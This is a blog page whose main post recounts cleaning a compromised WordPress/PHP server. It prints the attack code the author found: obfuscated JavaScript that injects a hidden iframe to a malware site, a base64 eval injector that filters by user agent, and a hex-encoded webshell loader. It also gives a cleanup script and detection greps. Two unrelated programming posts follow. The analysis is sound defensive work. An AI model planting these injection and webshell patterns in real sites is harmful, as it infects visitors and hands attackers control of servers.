Darn if the ISP serving up our PHP and WordPress content wasn’t attacked with an exploit. So I did a lot of learning as I cleaned up my web server, this past weekend. The goal of this exploit was to infect visitors of the web site with viruses by coercing visitors’ browsers to download malware from predefined third-party sites, seeded with the malware. That means modifying web site code to send visitors to those malicious sites.
After noticing some strange behavior that tripped my anti-virus software on my Windows machine. I realized (using the browser’s “view source” function) that there was some unexpected JavaScript at the top of every page’s source:
<script>d=Date;d=new d();h=-parseInt(’012′)/5;if(window.document)try{Boolean(true).prototype.a}catch(qqq){st=String;zz=’al’;zz=’zv’.substr(1)+zz;ss=[];if(1){f=’fromCh’;f+=’arC’;f+=’qgode’["substr"](2);}w=this;e=w[f.substr(11)+zz];t=’y';}n="3.5!3.5!51.5!50!15!19!49! … 19!50!19.5!28.5!5.5!3.5!3.5!61.5"["split"]("a!".substr(1));for(i=4-1-2-1;i!=599;i++){j=i;if(st)ss=ss+st[f](-h*(1+1*n[j]));}if(zz)q=ss;if(t)e(""+q);</script>
Hunting for the Culprit(s)
Since the root of one of the sites is managed by our WordPress installation, I searched the site’s files for the errant code. It wasn’t found, so I had to dig deeper. I found that every index.php file across my account had a line of odd PHP code inserted at the beginning. (I no longer have the exact code because I wrote a script to clean up all those files and didn’t think to save an example). I’m not 100% positive how these files got modified (a little about that, later), but the gist of the exploit works like this:
- The first line of every index.php file contains something like the following:
<?php eval(base64_decode('…'));?>The “…” is a very long sequence of characters—passed to the base64_decode() function.
- The encoded text decodes as following PHP code:
error_reporting(0); $bot = FALSE ; $ua = $_SERVER['HTTP_USER_AGENT']; $botsUA = array('12345','alexa.com','anonymouse.org','bdbrandprotect.com','blogpulse.com','bot','buzztracker.com','crawl','docomo','drupal.org','feedtools','htmldoc','httpclient','internetseer.com','linux','macintosh','mac os','magent','mail.ru','mybloglog api','netcraft','openacoon.de','opera mini','opera mobi','playstation','postrank.com','psp','rrrrrrrrr','rssreader','slurp','snoopy','spider','spyder','szn-image-resizer','validator','virus','vlc media player','webcollage','wordpress','x11','yandex','iphone','android','chrome'); foreach ($botsUA as $bs) { if(strpos(strtolower($ua), $bs)!== false) { $bot = true; break; } } if (!$bot) { echo(base64_decode('…'); }If the “browser” is not a bot, scanner, mobile device, not from OS X, etc., then the “…” data is decoded and ins inserted into the page content sent to the browse—for the most part, this is primarily targeted at Windows machines running Firefox or Internet Explorer.
- The code inserted into the beginning of the output is a <script> tag of JavaScript code, shown at the beginning of this article. This obfuscated code is functionally the same as:
ss=[]; n="3.5!3.5!51.5!50!15!19!49! … 19!50!19.5!28.5!5.5!3.5!3.5!61.5".split("!"); for(i=0; i != n.length; i++) { j=i; ss=ss + String.fromCharCode(2*(1+1*n[j])); } eval(""+ss); - The client (browser) interprets the JavaScript which decodes and evaluates more JavaScript. This code creates a iframe, if there is a body tag, which auto-refreshes a link to web address; presumably, to download malicious code to the user’s Windows machine. The “…” below is a reference to one of many malware sites.
if (document.getElementsByTagName('body')[0]) { iframer(); } else { document.write(""); } function iframer() { var f = document.createElement('iframe'); f.setAttribute('src','http:// … /?go=2'); f.style.visibility='hidden'; f.style.position='absolute'; f.style.left='0'; f.style.top='0'; f.setAttribute('width','10'); f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); }
Hunting for the Attacker
That’s how this exploit works, but how did that code get onto the servers?
All the millions Windows machines share the same hardware and operating system definitions; so virus attacks can be written in tiny, unreadable, efficient binary executables. But in order to build an attack that’ll work against the widest variety of web servers (whether Windows, OS X, Solaris, Linux or Unix variants, or other hardware or operating system platform), they need to be in a text form that can be interpreted across a wide variety of web servers. PHP is the most popular web server technology on the planet (Facebook is running, largely, on PHP), so writing exploits against PHP web servers covers a broad swath of the internet.
With the help of my ISP, we eventually located some suspicious files that provided backdoor access to the web server’s file system and allowed an attacker to execute commands on the server without direct access, as I have.
We found several oldlib.php files and a courses.php that implement the “Backdoor PHP/WebShell.A” exploit—they can have any name. The key is that these files must be accessible via web URL so that the attacker can gain access to the web server with full access.
<?php $auth_pass = " … "; $color = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/D … 13SwzDxAYT72vwA='\x29\x29\x29\x3B",".");?>
The last line resolves to a more readable:
preg_replace("/.*/e","eval(gzinflate(base64_decode('7X1re9s2z/Dn9Vcwmjf … 13SwzDxAYT72vwA=')));",".");
This statement expands out to a 63KB of PHP code which provides a backdoor user-interface to the web server, a Trojan known as Backdoor PHP/Shell.G! Access to this file by an attacker can wreak whatever havoc they wish; such as infecting all the index.php files with the code above.
But that malware may not have infected my index.php files. I also found several identical unencrypted PHP files that are identified as Backdoor PHP/RST.AC. Their file-names begin with “wp-” so I am guessing that this is a specific WordPress attack. These files simply needed to be deleted.
The Fix
To fix the infected (mostly index.php) files, I simply needed search for eval(base64_decode( on the first line of every file. I’ve written the following Bash shell-script, called “fix” to do this:
for file in "$@"; do
echo --- Trying `wc -l $file`
if grep -n 'eval(base64_decode(' $file | grep '\^1:'; then
cp -p $file $file.virus
tail -n+2 $file.virus>$file
echo Fixed `wc -l $file`
else
echo !!! Cannot fix $file
fi
done
You can run it by executing:
fix `grep -lr --exclude-dir=~/logs 'eval(base64_decode(' *`
The grep command searches files for code that evaluates encoded data—a clear indication that the code is trying to hide its true intent. The script backs up the infected file, suffixing its name with “.virus” and deletes the offending code from the first line. When, when you are satisfied that the fixes didn’t break anything, you can delete the backed-up infected files:
rm `find . -name '*.virus'`
Also look for files implementing the PHP/WebShell.A exploit (and perhaps others) that try to hide the “eval(” call by encoding its text in the form of hex characters.
grep -lr '\x65\x76\x61\x6C\x28'
Check out Website security: How to find backdoor PHP shell scripts on a server for more tips on how to suss out other exploits.
Securing PHP Web Servers
I have a lot to learn about how to secure the server from future backdoors from being installed. I don’t know if this is 100% preventable when I rely on such versatile applications as WordPress running on it, but two tips you might keep in mind:
- Make sure installed software (e.g., WordPress) is up to date as well as any plugins, themes, and other customizations.
- Make sure that any code you have does not allow global writable permissions (this is what allows easy dropping of files and file modifications to a web-server’s file-system). To scan for writable files and directories, try
find ~ -perm -002
Resources
- Website security: How to find backdoor PHP shell scripts on a server
- Sucuri SiteCheck: Website malware & blacklist scan
- WordPress.org: Hardening WordPress
- More about various web and PHP attacks and backdoors at Unmask Parasites. Blog.


Objective-C is the programming language of choice for iOS an Mac OSX programming, so becoming proficient in native programming for those platforms is essential to building great applications. Apple emphasizes that programmers must understand the “retain-release” model of how to manage objects. True, but this is not enough. Unfortunately, Objective-C makes it exceedingly easy to inadvertently write code that breaks the retain-release model, leading bugs that cause programs to crash. You can adopt some practices to avoid such problems.









Crushed Under the Tower of Software-Babble
I think my brain cells are shrinking—it is unbelievable how quickly I forget. Such is the life of a software developer, these days.It is amazing how quickly I can forget the details of one programming language detail over another after just a few weeks away—when I see my old code, I amaze myself at how good a programmer I was… last month!
No contemporary programmer can make it through the week with only one or even just two languages. If you are a web programmer, for example, you are probably spending a lot of time in PHP, Java, Python, or Ruby for back-end development. But when you are programming for the front-end, so that means, a lot of JavaScript coding as well. And if you are configuring your Linux server, then you might be hacking bash scripts.
Then there are the myriad of other syntax formats to keep track of, HTML, CSS, their variations (HTML 3, 4, 5, XHTML; CSS1, 2, 3), URL encoding, JSON, XML, YaML, and hundreds or thousands more!
Even if you are not, primarily, a web developer; every application, Windows, Mac, iPhone, Android, etc. talks to the internet in some fashion (or probably should). So, in addition to C++, C#, Objective-C (uh, now, Objective-C 2.0), or whatever you might be using for the native application (god forbid that you are having to support more than one platform), you’ll have some of the formats and languages that have been popularized on the Web.
Of course, it doesn’t help when most of these languages share so much common syntax—C, Java, PHP, JavaScript, C#—but, each in their own unique fashion. Is there a constant for boolean true and false? Is it “True” and “False”, “true”/”false”, or “TRUE”/”FALSE”? What is the difference between single-quoted strings and double-quoted strings—or is one of them not allowed? Do I concatenate strings with a ‘.’, a ‘+’, or a function call? Are closure functions supported? How do I display output to the console? How do I retrieve the number of elements in an array? Is it “null”, “Null”, “NULL”, “nil”, or “Nil”? Are variable names prefixed with ‘$’, ‘%’, or nothing?
I remember the days when someone would claim that a standard language would reduce the requirement for this proliferation of languages, it was said with C and, particularly with Java, and more recently with JavaScript. This is sometimes a little bit true, but mostly it’s marketing people espousing this and naïve developers believing it. (Though, in my own naïveté, I’m anticipating JavaScript to become the language of the future!)
In a perfect world, you could have different developers each focused on one technology—web front-end, web back-end, each OS platform technology—collaborating when necessary. No… in a perfect world, we’d all have photographic memories.
The problem is that all of these issues distract from the developer’s core problem-solving objective. Such is the life of a modern programmer, living on the bleeding-edge.
Posted in Commentary, Startup